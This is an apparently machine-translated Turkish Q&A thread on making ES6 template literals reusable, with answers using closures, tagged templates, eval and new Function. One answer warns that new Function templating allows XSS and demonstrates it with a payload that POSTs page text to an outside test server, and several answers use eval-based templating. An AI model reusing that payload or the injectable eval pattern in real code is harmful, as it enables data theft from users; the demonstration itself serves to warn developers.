ES6 şablon değişmez değerleri çalışma zamanında değiştirilebilir (veya yeniden kullanılabilir)?

tl; dr: Yeniden kullanılabilir bir şablonu değişmez yapmak mümkün müdür?

Şablon değişmezlerini kullanmaya çalışıyordum ama sanırım anlamıyorum ve şimdi sinirleniyorum. Demek istediğim, anladığımı düşünüyorum, ama "o" nasıl çalıştığı veya nasıl olması gerektiği olmamalı. Farklı şekilde olmalı.

Gördüğüm tüm örnekler (etiketli şablonlar bile) "ikamelerin" bildirim zamanında yapılmasını ve çalışma zamanında yapılmamasını gerektiriyor, ki bu bana bir şablon için tamamen yararsız geliyor. Belki deliyim, ama benim için "şablon", onu yarattığınızda değil, kullandığınızda değiştirilen belirteçleri içeren bir belgedir, aksi takdirde sadece bir belgedir (yani bir dizedir). Bir şablon, jeton olarak jetonlarla birlikte saklanır ve bu jetonlar, siz onu değerlendirdiğinizde değerlendirilir.

Herkes şuna benzer korkunç bir örnek veriyor:

var a = 'asd';
return `Worthless ${a}!`

Bu güzel, ama zaten biliyorsam a, sadece return 'Worthless asd'ya da yapardım return 'Worthless '+a. Amaç ne? Ciddi anlamda. Tamam mesele tembellik; daha az artı, daha fazla okunabilirlik. Harika. Ama bu bir şablon değil! IMHO değil. Ve MHO önemli olan tek şey! Sorun, IMHO, şablonun ilan edildiğinde değerlendirilmesidir, bu nedenle, eğer yaparsanız, IMHO:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Yana expletivebildirilmedi, şöyle birşeyler verir My undefined template. Süper. Aslında, en azından Chrome'da şablonu beyan edemiyorum; expletivetanımlı olmadığı için bir hata atar . İhtiyacım olan şey, şablonu beyan ettikten sonra değişikliği yapabilmektir:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

Ancak bunun nasıl mümkün olduğunu anlamıyorum çünkü bunlar gerçekten şablonlar değil. Etiketleri kullanmam gerektiğini söyleseniz bile, hayır, işe yaramıyorlar:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

Tüm bunlar beni şablon değişmezlerinin korkunç bir şekilde yanlış adlandırıldığına ve gerçekte oldukları gibi adlandırılmaları gerektiğine inandırdı: heredoc . Sanırım "literal" kısmı beni uyarmalıydı (olduğu gibi, değişmez)?

Bir şey mi kaçırıyorum? Yeniden kullanılabilir bir şablonu değişmez hale getirmenin (iyi) bir yolu var mı?

Size yeniden kullanılabilir şablon değişmezlerini veriyorum :

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

Ve işte saf bir "yardımcı" işlevi ...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...daha iyi yapmak için".

Kıvrımlı hisler ürettikleri alan nedeniyle onlara şablon guterals demeye meyilliyim.

Bu değişmez değerlerin diğer şablon motorları gibi çalışmasını sağlamak için bir ara form olması gerekir.

Bunu yapmanın en iyi yolu yapıcıyı kullanmaktır Function.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

Diğer şablon motorlarında olduğu gibi, bu dizeyi bir dosya gibi başka yerlerden de alabilirsiniz.

Bu yöntemi kullanırken, şablon etiketlerinin kullanımının zor olması gibi sorunlar olabilir, ancak zekiyseniz bunlar eklenebilir. Ayrıca geç enterpolasyon nedeniyle satır içi JavaScript mantığına sahip olamazsınız. Bu, biraz düşünülerek de düzeltilebilir.

Bir işleve bir şablon dizesi koyabilirsiniz:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

Aynı şeyi etiketli bir şablonla da yapabilirsiniz:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

Buradaki fikir, şablon ayrıştırıcının sabit dizeleri "yuvalar" değişkeninden ayırmasına izin vermek ve ardından her seferinde yeni bir değer kümesine dayalı olarak hepsini bir araya getiren bir işlev döndürmektir.

Muhtemelen bunu yapmanın en temiz yolu ok işlevleridir (çünkü bu noktada zaten ES6 kullanıyoruz)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

... Ve etiketli şablon değişmez değerleri için:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

Bu aynı zamanda kullanılmasını önler eval()veya Function()derleyici sorunlara neden ve yavaşlamanın bir çok neden olabilir.

2019 yanıtı :

Not : Kitaplık başlangıçta kullanıcıların XSS'den kaçınmak için dizeleri temizlemesini bekliyordu. Kütüphanenin 2. Versiyonu artık tamamen ortadan kalktığı için kullanıcı dizilerinin (web geliştiricilerinin yine de yapması gereken) sterilize edilmesini gerektirmiyor eval.

es6-dynamic-templateNPM üzerinde modül yapar.

const fillTemplate = require('es6-dynamic-template');

Mevcut cevapların aksine:

• Benzer bir format değil, ES6 şablon dizelerini kullanır. Güncelleme sürümü 2, kullanıcıların temizlenmemiş giriş Dizelerini kullanmasını önlemek için ES6 şablon dizeleri yerine benzer bir biçim kullanır.
• thisŞablon dizesine ihtiyaç duymaz
• Şablon dizesini ve değişkenlerini tek bir işlevde belirtebilirsiniz
• StackOverflow'dan kopyalamak yerine, korunan, güncellenebilir bir modüldür

Kullanımı basittir. Şablon dizisi daha sonra çözüleceği için tek tırnak kullanın!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

Evet, dizenizi şablonla JS olarak ayrıştırarak Function(veya eval) yapabilirsiniz - ancak bu önerilmez ve XSS saldırısına izin verir

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

window.parseString=parseString;

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

Bunun yerine, nesne alanlarını şablona aşağıdaki gibi dinamik bir şekilde güvenle ekleyebilirsiniz.objstr

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

@Metamorphasi tarafından sağlanan cevabı basitleştirmek;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

Eğer şablonda, değişkenleri başvurmak sipariş parametreleri veya bağlam / ad alanları kullanmak istemiyorsanız örneğin ${0}, ${this.something}ya da ${data.something}, sizin için kapsama alınması ilgilenir bir şablon işlevi olabilir.

Örnek Eğer böyle bir şablon diyebiliriz nasıl:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

Şablon işlevi:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

Bu durumda ilginç olan, ES6 şablonunun değişmez değerini döndüren bir işlevi (örnekte bir ok işlevi kullandım) geçirmeniz gerektiğidir. Bence peşinde olduğumuz türden yeniden kullanılabilir enterpolasyonu elde etmek küçük bir değiş tokuş.

İşte GitHub'da: https://github.com/Adelphos/ES6-Reuseable-Template

Kısa cevap, lodash'ta _.template kullanmaktır .

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

Bir şey mi kaçırıyorum? Yeniden kullanılabilir bir şablonu değişmez hale getirmenin [iyi] bir yolu var mı?

Belki bir şeyi kaçırıyorum, çünkü bu konudaki çözümüm bana o kadar açık geliyor ki, kimsenin bu kadar eski bir soruda bunu yazmamış olmasına çok şaşırdım.

Bunun için neredeyse tek bir satırım var:

function defer([first, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}

Bu kadar. Bir şablonu yeniden kullanmak ve ikamelerin çözümünü ertelemek istediğimde, sadece şunu yapıyorum:

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

Bu etiketin uygulanması , değişmez değere geçirilen parametreleri yok sayan a 'function'(a yerine 'string') döndürür . Daha sonra yeni parametrelerle daha sonra çağrılabilir. Bir parametrenin karşılık gelen değişimi yoksa, olur 'undefined'.

Genişletilmiş cevap

Bu basit kod işlevseldir, ancak daha ayrıntılı davranışa ihtiyacınız varsa, aynı mantık uygulanabilir ve sonsuz olasılıklar vardır. Yapabilirdiniz:

1. Orijinal parametreleri kullanın:

Yapıda değişmez değere aktarılan orijinal değerleri saklayabilir ve şablonu uygularken bunları yaratıcı şekillerde kullanabilirsiniz. İşaretler, tip doğrulayıcılar, işlevler vb. Haline gelebilirler. Bu, onları varsayılan değerler olarak kullanan bir örnektir:

    function deferWithDefaults([first, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, first);
    }

Sonra:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 

2. Bir şablon fabrikası yazın:

Bu mantığı, bağımsız değişken olarak, indirgemede uygulanabilen (şablon değişmezinin parçalarını birleştirirken) özel bir işlev bekleyen ve özel davranışa sahip yeni bir şablon döndüren bir işlevin içine sararak yapın.

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };

Daha sonra, örneğin, gömülü html, css, sql, bash yazarken parametrelerden otomatik olarak kaçan veya sterilize eden şablonlar yazabilirsiniz ...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }

    const sql = createTemplate(sqlSanitize);

Bu saf (tekrar ediyorum, saf! ) Sql şablonuyla aşağıdaki gibi sorgular oluşturabiliriz:

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`

3. Yerine koyma için adlandırılmış parametreleri kabul edin: Önceden verilmiş olana dayalı çok zor olmayan bir egzersiz. Bu diğer cevapta bir uygulama var .

4. Dönüş nesnesinin a gibi davranmasını sağlayın 'string': Bu tartışmalı, ancak ilginç sonuçlara yol açabilir. Bu diğer cevapta gösterilmiştir .

5. Çağrı sitesinde genel ad alanı içindeki parametreleri çözün:

Size yeniden kullanılabilir şablon değişmezlerini veriyorum:

Eh, OP'nin gösterdiği şey bu, komutu kullanarak, evilyani, eki eval. Bu eval, sadece genel (veya pencere) nesneye aktarılan değişken adı aranarak yapılabilir . Nasıl yapılacağını göstermeyeceğim çünkü hoşuma gitmiyor. Kapanışlar doğru seçimdir.

Bu benim en iyi girişimim:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

Genelleştirmek için:

var s = (<variable names you want>) => {return `<template with those variables>`}

E6'yı çalıştırmıyorsanız, şunları da yapabilirsiniz:

var s = function(<variable names you want>){return `<template with those variables>`}

Bu, önceki cevaplardan biraz daha özlü görünüyor.

https://repl.it/@abalter/reusable-JS-template-literal

Genelde kötülüğü kullanmaya karşıyım eval()ama bu durumda mantıklı:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

Daha sonra değerleri değiştirir ve eval () öğesini tekrar çağırırsanız, yeni sonucu alırsınız:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

Bir fonksiyonda istiyorsanız, o zaman şöyle yazılabilir:

function populate(a, b){
  return `${a}.${b}`;
}

GÜNCELLENDİ: Aşağıdaki cevap tek değişken isimleriyle sınırlıdır, bu nedenle: gibi şablonlar 'Result ${a+b}'bu durum için geçerli değildir. Ancak her zaman şablon değerleriyle oynayabilirsiniz:

format("This is a test: ${a_b}", {a_b: a+b});

ORİJİNAL CEVAP:

Önceki cevaplara dayanarak, ancak daha "kolay" bir yardımcı program işlevi oluşturuyor:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

Faturayı aynen şu şekilde yapabilirsiniz:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

Ve ortaya çıkan dize şöyle olmalıdır:

'This is a test: Hola, second param: Hi'

Oldukça basit bir şey arıyorsanız (sadece sabit değişken alanlar, hesaplama yok, koşullu…) ancak bu, IE 8,9,10,11 gibi şablon dizesi desteği olmayan tarayıcılarda istemci tarafında da işe yarıyorsa …

İşte başlıyoruz:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

Ben yazmaktan gerekli ekstra fazlalık de rahatsız oldu this.ben de böyle değişkenleri genişletmek için regex'i eklendi, böylece her seferinde .aiçin this.a.

Çözüm:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

Şöyle kullanın:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

Bu işi kolayca yapabilen bir npm paketi yayınlıyorum. Bu cevaptan derinden ilham aldım .

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

Uygulaması son derece basittir. Beğenmeni dilerim.

module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}

satır içi ok işlevini şu şekilde kullanabilirsiniz, tanım:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

kullanımı:

console.log(template('my replaced string'));

Çalışma zamanı şablon dizesi

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

Ölçek

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));